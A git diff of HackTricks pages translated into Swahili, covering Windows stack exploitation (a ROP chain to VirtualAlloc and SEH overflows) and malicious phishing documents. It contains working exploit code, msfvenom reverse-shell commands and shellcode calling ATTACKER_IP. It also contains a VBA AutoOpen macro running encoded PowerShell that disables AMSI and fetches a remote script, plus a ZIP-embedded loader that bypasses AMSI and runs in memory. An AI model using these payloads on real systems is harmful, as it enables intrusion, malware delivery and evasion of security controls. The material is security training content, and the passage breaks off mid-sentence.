-Kwenye Windows za kisasa stack sio executable (DEP/NX). Njia ya kawaida ya bado kuendesha stack-resident shellcode baada ya stack BOF ni kujenga mnyororo wa 64-bit ROP unaoitisha VirtualAlloc (au VirtualProtect) kutoka kwa module Import Address Table (IAT) ili kufanya eneo la stack liwe executable kisha kurudi katika shellcode iliyounganishwa baada ya mnyororo. +Kwenye Windows ya kisasa stack haitekelezwi (DEP/NX). Njia ya kawaida ya kuendesha stack-resident shellcode baada ya stack BOF ni kujenga mnyororo wa 64-bit ROP unaoitisha VirtualAlloc (au VirtualProtect) kutoka module Import Address Table (IAT) ili kufanya eneo la stack liwe executable na kisha kurudi ndani ya shellcode iliyoongezwa baada ya chain. Key points (Win64 calling convention): - VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect) -- RCX = lpAddress → chagua anwani kwenye stack ya sasa (e.g., RSP) ili eneo jipya lililotengwa la RWX ligongane na payload yako -- RDX = dwSize → kubwa vya kutosha kwa chain yako + shellcode (e.g., 0x1000) +- RCX = lpAddress → chagua anwani kwenye stack ya sasa (mf., RSP) ili eneo jipya la RWX lipatekusanyika na payload yako +- RDX = dwSize → kubwa vya kutosha kwa chain + shellcode (mf., 0x1000) - R8 = flAllocationType = MEM_COMMIT (0x1000) - R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40) - Return directly into the shellcode placed right after the chain. Minimal strategy: -1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR. -2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000). +1) Leak a module base (mf., via a format-string, object pointer, etc.) ili kuhesabu anwani kamili za gadget na IAT chini ya ASLR. +2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) na call/jmp [VirtualAlloc@IAT]. Ikiwa huna direct pop r8/r9, tumia arithmetic gadgets kutengeneza constants (mf., weka r8=0 kisha kuongeza r9=0x40 mara nyingi hadi kufikia 0x1000). 3) Place stage-2 shellcode immediately after the chain. Example layout (conceptual): @@ -104,12 +104,12 @@ POP_RDX_RET; 0x1000 JMP_SHELLCODE_OR_RET # ---- stage-2 shellcode (x64) ---- ``` -Kwa seti ya gadgets iliyo na vikwazo, unaweza kutengeneza thamani za rejista kwa njia isiyo ya moja kwa moja, kwa mfano: -- mov r9, rbx; mov r8, 0; add rsp, 8; ret → iweke r9 kutoka rbx, ifanye r8 kuwa sifuri, na fidia stack kwa qword ya takataka. -- xor rbx, rsp; ret → weka rbx kuwa pointer ya stack ya sasa. -- push rbx; pop rax; mov rcx, rax; ret → hamisha thamani iliyotokana na RSP ndani ya RCX. +Kwa gadget set iliyo na vikwazo, unaweza kutengeneza thamani za rejista kwa njia isiyo ya moja kwa moja, kwa mfano: +- mov r9, rbx; mov r8, 0; add rsp, 8; ret → weka r9 kutoka rbx, weka r8 kwa sifuri, na fidia stack kwa junk qword. +- xor rbx, rsp; ret → kuanzisha rbx kwa stack pointer ya sasa. +- push rbx; pop rax; mov rcx, rax; ret → hamisha thamani inayotokana na RSP ndani ya RCX. -Pwntools sketch (ikiwa base na gadgets vinajulikana): +Pwntools rasimu (ikiwa base na gadgets vinajulikana): ```python from pwn import * base = 0x7ff6693b0000 @@ -132,26 +132,27 @@ rop += p64(base+POP_RDX_RET) + p64(0x1000) rop += p64(IAT_VirtualAlloc) rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT)) ``` -Tips: -- VirtualProtect hufanya kazi kwa njia sawa ikiwa kufanya buffer iliyopo kuwa RX ni kipaumbele; mpangilio wa vigezo ni tofauti. -- Ikiwa nafasi ya stack ni nyembamba, tenga RWX mahali pengine (RCX=NULL) na jmp kwenye eneo jipya badala ya kutumia tena stack. -- Daima zingatia gadgets zinazorudisha RSP (e.g., add rsp, 8; ret) kwa kuingiza junk qwords. +Vidokezo: +- VirtualProtect inafanya kazi kwa njia ile ile ikiwa kuifanya buffer iliyopo RX ni muhimu; mpangilio wa vigezo ni tofauti. +- Ikiwa nafasi ya stack ni nyembamba, tengeneza RWX mahali pengine (RCX=NULL) na jmp kwa eneo jipya badala ya kutumia tena stack. +- Kumbuka daima gadgets ambazo zinabadilisha RSP (e.g., add rsp, 8; ret) kwa kuingiza junk qwords. -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **inapaswa kuzimwa** ili anwani iwe ya kuaminika kwa utekelezaji tofauti; vinginevyo anwani ambapo function itahifadhiwa haitakuwa ile ile kila wakati na utahitaji leak ili kugundua wapi win function imepakiwa. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) **inapaswa pia kuzimwa** au anwani ya kurudi ya EIP itakayodhulumiwa haitawahi kutumika. -- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** ulinzi utaizuia utekelezaji wa shellcode ndani ya stack kwa sababu eneo hilo halitaweza kutekelezwa. -## Mifano na Marejeo +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **should be disabled** ili anwani iwe thabiti katika utekelezaji mbalimbali, vinginevyo anwani ambapo function itahifadhiwa haitakuwa daima sawa na utakahitaji leak ili kubaini wapi win function imepakuliwa. +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) pia zinapaswa kuzimwa, vinginevyo anuani ya EIP iliyoharibika haitafuatiwa kamwe. +- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection ingekuwa ikizuia utekelezaji wa shellcode ndani ya stack kwa sababu eneo hilo halitaweza kutekelezeka. + +## Mifano Mengine & Marejeo - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) -- 64bit, ASLR na stack address leak, andika shellcode na ruka kwenye hiyo +- 64bit, ASLR na stack address leak, andika shellcode na ruka kwenda kwake - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) -- 32 bit, ASLR na stack leak, andika shellcode na ruka kwenye hiyo +- 32 bit, ASLR na stack leak, andika shellcode na ruka kwenda kwake - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) -- 32 bit, ASLR na stack leak, kulinganisha ili kuzuia wito la exit(), funika variable na thamani, andika shellcode na ruka kwenye hiyo +- 32 bit, ASLR na stack leak, kulinganisha ili kuzuia mwito wa exit(), andika juu variable kwa thamani na andika shellcode kisha ruka kwenda kwake - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) -- arm64, hakuna ASLR, ROP gadget kufanya stack iwe executable na ruka kwa shellcode iliyoko kwenye stack +- arm64, hakuna ASLR, ROP gadget kufanya stack iwe executable na ruka kwenda shellcode ndani ya stack ## Marejeo diff --git a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md index 636bc037f..bc33a7b33 100644 --- a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md +++ b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md @@ -2,24 +2,24 @@ {{#include ../../banners/hacktricks-training.md}} -SEH-based exploitation ni mbinu ya klassiki kwenye Windows x86 inayotumia Structured Exception Handler chain iliyohifadhiwa kwenye stack. Wakati stack buffer overflow inapoandika juu ya uwanja mbili za 4-byte +Utekelezaji wa SEH-based ni mbinu ya kawaida ya x86 Windows inayotumia mnyororo wa Structured Exception Handler uliohifadhiwa kwenye stack. Wakati stack buffer overflow inapobandika juu nywanja mbili za 4-byte -- nSEH: kielekezi kwa rekodi ya SEH inayofuata, na -- SEH: kielekezi kwa function ya exception handler +- nSEH: pointer to the next SEH record, and +- SEH: pointer to the exception handler function mshambuliaji anaweza kuchukua udhibiti wa utekelezaji kwa: -1) Kuweka SEH kwa address ya POP POP RET gadget kwenye module isiyo na ulinzi (non-protected module), ili wakati exception itakapotumwa gadget irudie kwenye bytes zilizodhibitiwa na mshambuliaji, na -2) Kutumia nSEH kupitisha tena utekelezaji (kwa kawaida short jump) kurudi kwenye buffer kubwa iliyofurika ambapo shellcode iko. +1) Kuweka SEH kwa anwani ya gadget ya POP POP RET katika module isiyo na ulinzi, ili wakati exception itakapotumwa gadget irudie ndani ya bytes zinazo-dhibitiwa na mshambuliaji, na +2) Kutumia nSEH kupeleka tena utekelezaji (kawaida jump fupi) kurudi kwenye buffer kubwa iliyovuja ambapo shellcode inapatikana. -Mbinu hii ni maalum kwa michakato ya 32-bit (x86). Kwenye mifumo ya kisasa, pendelea module isiyo na SafeSEH na ASLR kwa ajili ya gadget. Vinyago vibaya mara nyingi ni pamoja na 0x00, 0x0a, 0x0d (NUL/CR/LF) kutokana na C-strings na HTTP parsing. +Mbinu hii ni maalum kwa michakato ya 32-bit (x86). Katika mifumo ya kisasa, chagua module bila SafeSEH na ASLR kwa ajili ya gadget. Wahusika wabaya mara nyingi ni 0x00, 0x0a, 0x0d (NUL/CR/LF) kutokana na C-strings na HTTP parsing. --- ## Finding exact offsets (nSEH / SEH) -- Sababisha crash kwenye process na kuthibitisha kuwa SEH chain imeandika upya (mf., kwenye x32dbg/x64dbg, angalia SEH view). -- Tuma cyclic pattern kama data inayofurika na hesabu offsets za dword mbili ambazo zinaingia kwenye nSEH na SEH. +- Crash the process and verify the SEH chain is overwritten (e.g., in x32dbg/x64dbg, check the SEH view). +- Send a cyclic pattern as the overflowing data and compute offsets of the two dwords that land in nSEH and SEH. Example with peda/GEF/pwntools on a 1000-byte POST body: ```bash @@ -33,26 +33,26 @@ python3 -c "from pwn import *; print(cyclic(1000).decode())" /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH # ➜ offsets example: nSEH=660, SEH=664 ``` -Thibitisha kwa kuweka alama katika nafasi hizo (mfano, nSEH=b"BB", SEH=b"CC"). Hifadhi urefu mzima usibadilike ili kufanya crash iweze kurudiwa. +Thibitisha kwa kuweka alama katika nafasi hizo (e.g., nSEH=b"BB", SEH=b"CC"). Weka urefu mzima usibadilike ili kufanya crash iweze kurudiwa. --- ## Kuchagua POP POP RET (SEH gadget) -Unahitaji mfululizo wa POP POP RET ili kuondoa SEH frame na kurudi ndani ya bytes zako za nSEH. Tafuta katika module isiyo na SafeSEH na ikiwezekana isiyo na ASLR: +Unahitaji mfululizo wa POP POP RET ili kufungua fremu ya SEH na kurudi kwenye bytes zako za nSEH. Iipatie katika module isiyo na SafeSEH na ikiwezekana isiyo na ASLR: - Mona (Immunity/WinDbg): `!mona modules` kisha `!mona seh -m modulename`. -- x64dbg plugin ERC.Xdbg: `ERC --SEH` ili orodhesha POP POP RET gadgets na hali ya SafeSEH. +- x64dbg plugin ERC.Xdbg: `ERC --SEH` kwa kuorodhesha POP POP RET gadgets na hali ya SafeSEH. -Chagua anwani isiyo na badchars wakati imeandikwa little-endian (mfano, `p32(0x004094D8)`). Toa kipaumbele kwa gadgets ndani ya vulnerable binary ikiwa ulinzi unaruhusu. +Chagua anwani ambayo haina badchars unapoandika little-endian (mfano, `p32(0x004094D8)`). Tendea kipaumbele gadgets ndani ya vulnerable binary ikiwa protections zinaruhusu. --- -## Mbinu ya jump-back (short + near jmp) +## Mbinu ya kuruka-nyuma (short + near jmp) -nSEH ni bytes 4 tu, ambayo inafaa angalau short jump ya 2-byte (`EB xx`) pamoja na padding. Ikiwa lazima uruke nyuma mamia ya bytes kufikia mwanzo wa buffer yako, tumia near jump ya 5-byte iliyowekwa kabla ya nSEH na uiunganishe nayo kwa short jump kutoka nSEH. +nSEH ni 4 bytes tu, ambayo inakidhi angalau short jump ya 2-byte (`EB xx`) pamoja na padding. Ikiwa lazima uruke nyuma mamia ya bytes kufikia mwanzo wa buffer yako, tumia 5-byte near jump iliyowekwa kabla ya nSEH na ui-chain nayo kwa short jump kutoka nSEH. -Kwa nasmshell: +With nasmshell: ```text nasm> jmp -660 ; too far for short; near jmp is 5 bytes E967FDFFFF @@ -61,7 +61,7 @@ EBF6 nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop) E96FFDFFFF ``` -Wazo la mpangilio kwa payload ya 1000-byte yenye nSEH kwenye offset 660: +Wazo la muundo wa payload ya 1000-byte yenye nSEH kwenye offset 660: ```python buffer_length = 1000 payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start @@ -71,17 +71,17 @@ payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pa payload += p32(0x004094D8) # SEH: POP POP RET (no badchars) payload += b"D" * (buffer_length - len(payload)) ``` -Execution flow: -- Exception inatokea, dispatcher anatumia SEH iliyobadilishwa. -- POP POP RET hurejesha mtiririko hadi nSEH yetu. -- nSEH inatekeleza `jmp short -8` kuelekea near jump ya 5-byte. -- Near jump inafika mwanzoni mwa buffer yetu ambapo NOP sled + shellcode ziko. +Mtiririko wa utekelezaji: +- Hitilafu inatokea, dispatcher anatumia SEH iliyobadilishwa. +- POP POP RET inaendelea hadi nSEH yetu. +- nSEH inatekeleza `jmp short -8` kwenye 5-byte near jump. +- Near jump inaelekezwa mwanzoni mwa buffer yetu ambapo NOP sled + shellcode zinakaa. --- -## Herufi mbaya +## Bad characters -Jenga string kamili ya badchar na linganisha memory ya stack baada ya crash, ukiondoa bytes ambazo zimeharibika na parser ya target. Kwa HTTP-based overflows, `\x00\x0a\x0d` karibu daima zimeachwa nje. +Jenga string kamili ya badchar na linganisha kumbukumbu ya stack baada ya crash, ukiondoa bytes ambazo zimeharibika au kubadilishwa na parser ya target. Kwa overflow zinazotegemea HTTP, `\x00\x0a\x0d` karibu daima zinatengwa. ```python badchars = bytes([x for x in range(1,256)]) payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case @@ -90,21 +90,21 @@ payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for ## Shellcode generation (x86) -Tumia msfvenom na badchars zako. NOP sled ndogo husaidia kuvumilia utofauti wa eneo la kutua. +Tumia msfvenom na badchars zako. NOP sled ndogo husaidia kuvumilia tofauti za mahali pa kutua. ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f python -v sc ``` -Ikiwa unazitengeneza mara moja, muundo wa hex ni rahisi kuingiza na ku-unhex katika Python: +Ikiwa unazalisha kwa wakati halisi, muundo wa hex ni rahisi kuingiza na ku-unhex katika Python: ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f hex ``` --- -## Kutuma kupitia HTTP (CRLF sahihi + Content-Length) +## Kupeleka kupitia HTTP (CRLF sahihi + Content-Length) -Wakati vector dhaifu ni mwili wa ombi la HTTP, unda ombi ghafi yenye CRLFs sahihi na Content-Length ili server isome mwili mzima uliovuja. +Wakati vektori dhaifu ni HTTP request body, unda raw request yenye CRLFs sahihi na Content-Length ili server isome kikamilifu body yote inayozidi. ```python # pip install pwntools from pwn import remote @@ -127,21 +127,21 @@ p.close() ## Zana -- x32dbg/x64dbg kutazama mnyororo wa SEH na kutathmini crash. +- x32dbg/x64dbg ili kuona mnyororo wa SEH na kufanya triage ya crash. - ERC.Xdbg (x64dbg plugin) kuorodhesha SEH gadgets: `ERC --SEH`. - Mona kama mbadala: `!mona modules`, `!mona seh`. -- nasmshell kutengeneza short/near jumps na kunakili raw opcodes. -- pwntools kutengeneza payloads sahihi za mtandao. +- nasmshell kuassemble short/near jumps na kunakili raw opcodes. +- pwntools kutengeneza precise network payloads. --- ## Vidokezo na tahadhari -- Inatumika tu kwa michakato ya x86. x64 inatumia mpangilio tofauti wa SEH na SEH-based exploitation kwa ujumla haiwezi kutumika. -- Pendelea gadgets katika modules bila SafeSEH na ASLR; vinginevyo, tafuta module isiyo na ulinzi iliyopakiwa kwenye mchakato. -- Watchdog za huduma zinazorestart moja kwa moja baada ya crash zinaweza kufanya iterative exploit development iwe rahisi. +- Inatumika tu kwa processes za x86. x64 inatumia SEH scheme tofauti na SEH-based exploitation kwa ujumla si viable. +- Pendelea gadgets zilizomo kwenye modules zisizo na SafeSEH na ASLR; vinginevyo, tafuta module isiyo na ulinzi iliyopakiwa kwenye process. +- Service watchdogs zinazorestart kiotomatiki baada ya crash zinaweza kurahisisha iterative exploit development. -## References +## Marejeo - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) - [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg) - [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 60594d8fb..0048cafac 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -1,40 +1,40 @@ -# Faili na Nyaraka za Phishing +# Phishing Faili & Nyaraka {{#include ../../banners/hacktricks-training.md}} ## Nyaraka za Office -Microsoft Word hufanya uhakiki wa data za faili kabla ya kufungua faili. Uhakiki wa data hufanywa kwa njia ya utambuzi wa muundo wa data, kwa mujibu wa kiwango cha OfficeOpenXML. Ikiwa kosa lolote litatokea wakati wa utambuzi wa muundo wa data, faili inayochunguzwa haitafunguliwa. +Microsoft Word hufanya uthibitishaji wa data za faili kabla ya kufungua faili. Uthibitishaji wa data hufanywa kwa njia ya utambuzi wa muundo wa data, dhidi ya kiwango cha OfficeOpenXML. Kama hitilafu yoyote itatokea wakati wa utambuzi wa muundo wa data, faili inayochunguzwa haitafunguliwa. -Kwa kawaida, faili za Word zinazobeba macros hutumia extension ya `.docm`. Hata hivyo, inawezekana kubadilisha jina la faili kwa kubadilisha extension ya faili na bado kuhifadhi uwezo wake wa kutekeleza macros.\ -Kwa mfano, faili ya RTF haiungi mkono macros, kwa muundo, lakini faili ya DOCM iliyobadilishwa jina kuwa RTF itashughulikiwa na Microsoft Word na itakuwa na uwezo wa kutekeleza macros.\ -Mifumo ya ndani na taratibu sawa zinatumika kwa programu zote za Microsoft Office Suite (Excel, PowerPoint n.k.). +Kawaida, Word files containing macros use the `.docm` extension. Hata hivyo, inawezekana kubadilisha jina la faili kwa kubadilisha nyongeza ya faili na bado kuhifadhi uwezo wao wa kutekeleza macro.\ +Kwa mfano, faili ya RTF kwa kawaida haisaidii macros, kwa muundo, lakini faili ya DOCM iliyobadilishwa jina kuwa RTF itashughulikiwa na Microsoft Word na itakuwa na uwezo wa kutekeleza macro.\ +Miundo na mekanisimu za ndani zile zile zinatumika kwa programu zote za Microsoft Office Suite (Excel, PowerPoint etc.). -Unaweza kutumia amri ifuatayo kuangalia ni zipi extensions zitakazotekelezwa na baadhi ya programu za Office: +Unaweza kutumia amri ifuatayo kuchunguza ni nyongeza zipi zitakazotekelezwa na programu fulani za Office: ```bash assoc | findstr /i "word excel powerp" ``` -Faili za DOCX zinazorejelea template ya mbali (File –Options –Add-ins –Manage: Templates –Go) ambazo zinajumuisha macros zinaweza pia “kutekeleza” macros. +Faili za DOCX zinazorejelea kiolezo cha mbali (File –Options –Add-ins –Manage: Templates –Go) kinachojumuisha macros zinaweza pia “kutekeleza” macros. -### Kupakia Picha za Nje +### Kupakia Picha ya Nje Nenda kwa: _Insert --> Quick Parts --> Field_\ -_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http:///whatever +_**Jamii**: Links and References, **Majina ya field**: includePicture, na **Jina la Faili au URL**:_ http:///whatever ![](<../../images/image (155).png>) ### Macros Backdoor -Inawezekana kutumia macros kuendesha arbitrary code kutoka kwenye document. +Inawezekana kutumia macros kuendesha msimbo wa aina yoyote kutoka kwa hati. #### Autoload functions -Kadri zinavyokuwa za kawaida zaidi, ndivyo AV inavyoweza kuzitambua. +Kadiri zinavyozidi kuwa za kawaida, ndivyo AV inavyoweza kuzitambua. - AutoOpen() - Document_Open() -#### Macros Code Examples +#### Mifano ya msimbo ya Macros ```vba Sub AutoOpen() CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=") @@ -64,16 +64,16 @@ Dim proc As Object Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process") proc.Create "powershell ``` -#### Ondoa metadata kwa mkono +#### Ondoa metadata kwa mikono -Nenda kwa **File > Info > Inspect Document > Inspect Document**, ambayo itafungua Document Inspector. Bonyeza **Inspect** kisha **Remove All** kando ya **Document Properties and Personal Information**. +Nenda kwa **File > Info > Inspect Document > Inspect Document**, ambayo itaonyesha Document Inspector. Bonyeza **Inspect** kisha **Remove All** kando ya **Document Properties and Personal Information**. -#### Extension ya Doc +#### Upanuzi wa Doc -Ukimaliza, chagua dropdown ya **Save as type**, badilisha muundo kutoka **`.docx`** hadi **Word 97-2003 `.doc`**.\ -Fanya hivyo kwa sababu **huwezi kuhifadhi macro's ndani ya `.docx`** na kuna **stigma** kuhusu ugani unaowezesha macro **`.docm`** (kwa mfano, icon ya thumbnail ina `!` kubwa na baadhi ya gateway za wavuti/baruapepe huvizuia kabisa). Kwa hiyo, **ugani wa kale `.doc` ndio suluhisho bora**. +Wakati umemaliza, chagua dropdown ya **Save as type**, badilisha fomati kutoka **`.docx`** kuwa **Word 97-2003 `.doc`**.\ +Fanya hivi kwa sababu huwezi kuhifadhi macros ndani ya **`.docx`** na kuna stigma kuhusiana na extension ya macro-enabled **`.docm`** (mf., ikoni ya thumbnail ina `!` kubwa na baadhi ya web/email gateway huziweka block kabisa). Kwa hivyo, extension ya legacy **`.doc`** ni suluhisho bora. -#### Vyanzo vya Malicious Macros +#### Vizalishaji vya Macros Hatari - MacOS - [**macphish**](https://github.com/cldrn/macphish) @@ -81,9 +81,9 @@ Fanya hivyo kwa sababu **huwezi kuhifadhi macro's ndani ya `.docx`** na kuna **s ## Faili za HTA -HTA ni programu ya Windows inayochanganya **HTML na lugha za scripting (k.m. VBScript na JScript)**. Inaunda kiolesura cha mtumiaji na inaendeshwa kama programu "iliyothibitishwa kabisa", bila vikwazo vya mfano wa usalama wa kivinjari. +HTA ni programu ya Windows inayochanganya **HTML na scripting languages (such as VBScript and JScript)**. Inatengeneza interface ya mtumiaji na inaendeshwa kama programu "fully trusted", bila vizingiti vya modeli ya usalama ya browser. -HTA inaenzishwa kwa kutumia **`mshta.exe`**, ambayo kwa kawaida **imesakinishwa** pamoja na **Internet Explorer**, na kufanya **`mshta` inategemea IE**. Kwa hivyo ikiwa imeondolewa, HTA hazitaweza kutekelezwa. +HTA inaendeshwa kwa kutumia **`mshta.exe`**, ambayo kwa kawaida **imewekwa** pamoja na **Internet Explorer**, na hivyo **`mshta` inategemea IE**. Hivyo ikiwa imeondolewa, HTA haziwezi kuendeshwa. ```html <--! Basic HTA Execution --> @@ -140,9 +140,9 @@ self.close ``` ## Kulazimisha NTLM Authentication -Kuna njia kadhaa za **kulazimisha NTLM authentication "kwa mbali"**, kwa mfano, unaweza kuongeza **picha zisizoonekana** kwenye barua pepe au HTML ambazo mtumiaji atazifungua (hata HTTP MitM?). Au mtumie mwathiriwa **anwani ya faili** zitakazowasababisha **authentication** tu kwa **ufunguaji wa folda.** +Kuna njia kadhaa za **kulazimisha NTLM authentication "kwa mbali"**, kwa mfano, unaweza kuongeza **picha zisizoonekana** kwenye barua pepe au HTML ambazo mtumiaji atafikia (hata HTTP MitM?). Au tuma mwathiriwa **anwani ya mafaili** ambayo itatazua **authentication** tu kwa **kufungua folda.** -**Tazama mawazo haya na zaidi kwenye kurasa zifuatazo:** +**Angalia mawazo haya na mengine kwenye kurasa zifuatazo:** {{#ref}} @@ -156,24 +156,24 @@ Kuna njia kadhaa za **kulazimisha NTLM authentication "kwa mbali"**, kwa mfano, ### NTLM Relay -Usisahau kwamba huwezi kuiba tu hash au authentication pekee, bali pia unaweza **perform NTLM relay attacks**: +Usisahau kuwa hutaweza tu kuiba hash au authentication lakini pia **kutekeleza NTLM relay attacks**: - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) ## LNK Loaders + ZIP-Embedded Payloads (fileless chain) -Kampeni zenye ufanisi mkubwa hutuma ZIP inayojumuisha nyaraka mbili halali za kupotosha (PDF/DOCX) na .lnk hatari. Mbinu ni kwamba loader halisi ya PowerShell imehifadhiwa ndani ya bytes ghafi za ZIP baada ya alama ya kipekee, na .lnk huitaibua na kuiendesha kabisa kwenye kumbukumbu. +Kampeni zenye ufanisi mkubwa huzalisha ZIP inayojumuisha nyaraka mbili halali za kuibua (PDF/DOCX) na .lnk hatarishi. Njia ni kwamba loader halisi ya PowerShell imehifadhiwa ndani ya raw bytes za ZIP baada ya alama ya kipekee, na .lnk inachonga na kuendesha yote ndani ya kumbukumbu. Mtiririko wa kawaida unaotekelezwa na .lnk PowerShell one-liner: -1) Tambua ZIP ya asili katika njia za kawaida: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, na folda mzazi ya current working directory. -2) Soma bytes za ZIP na utafute marker uliowekwa kwenye msimbo (mfano, xFIQCV). Yote yanayofuata marker ni PowerShell payload iliyojazwa ndani. -3) Nakili ZIP hadi %ProgramData%, itolee hapo (extract), kisha fungua .docx ya kupotosha ili ionekane halali. -4) Bypass AMSI kwa process ya sasa: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true -5) Deobfuscate hatua inayofuata (kwa mfano, ondoa tabia zote za #) na uitekeleze kwenye kumbukumbu. +1) Tafuta ZIP asili katika njia za kawaida: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, na mzazi wa current working directory. +2) Soma bytes za ZIP na tafuta marker iliyowekwa kimagurudumu (mfano, xFIQCV). Kila kitu baada ya marker ni PowerShell payload iliyowekwa. +3) Nakili ZIP hadi %ProgramData%, ifungue hapo, na fungua decoy .docx ili ionekane halali. +4) Kuepuka AMSI kwa mchakato wa sasa: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true +5) Deobfuscate hatua inayofuata (mfano, ondoa herufi zote #) na itekeleze ndani ya kumbukumbu. -Mfano wa skeleton ya PowerShell ili kuibua na kuendesha hatua iliyojazwa ndani: +Mfano wa skeleton ya PowerShell ili kuchonga na kuendesha hatua iliyowekwa: ```powershell $marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV') $paths = @( @@ -190,22 +190,22 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#','' [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) Invoke-Expression $code ``` -Notes -- Usambazaji mara nyingi unatumia vibamba vya subdomain vya PaaS vinavyoaminika (e.g., *.herokuapp.com) na unaweza gate payloads (kutumia ZIP zisizo hatari kulingana na IP/UA). -- Hatua inayofuata mara nyingi hu-decrypt base64/XOR shellcode na kuiendesha kupitia Reflection.Emit + VirtualAlloc ili kupunguza athari za diski. +Vidokezo +- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA). +- Sehemu inayofuata mara nyingi hu-decrypt base64/XOR shellcode na kuitekeleza kupitia Reflection.Emit + VirtualAlloc ili kupunguza artifacts za diski. -Persistence used in the same chain -- COM TypeLib hijacking of the Microsoft Web Browser control ili 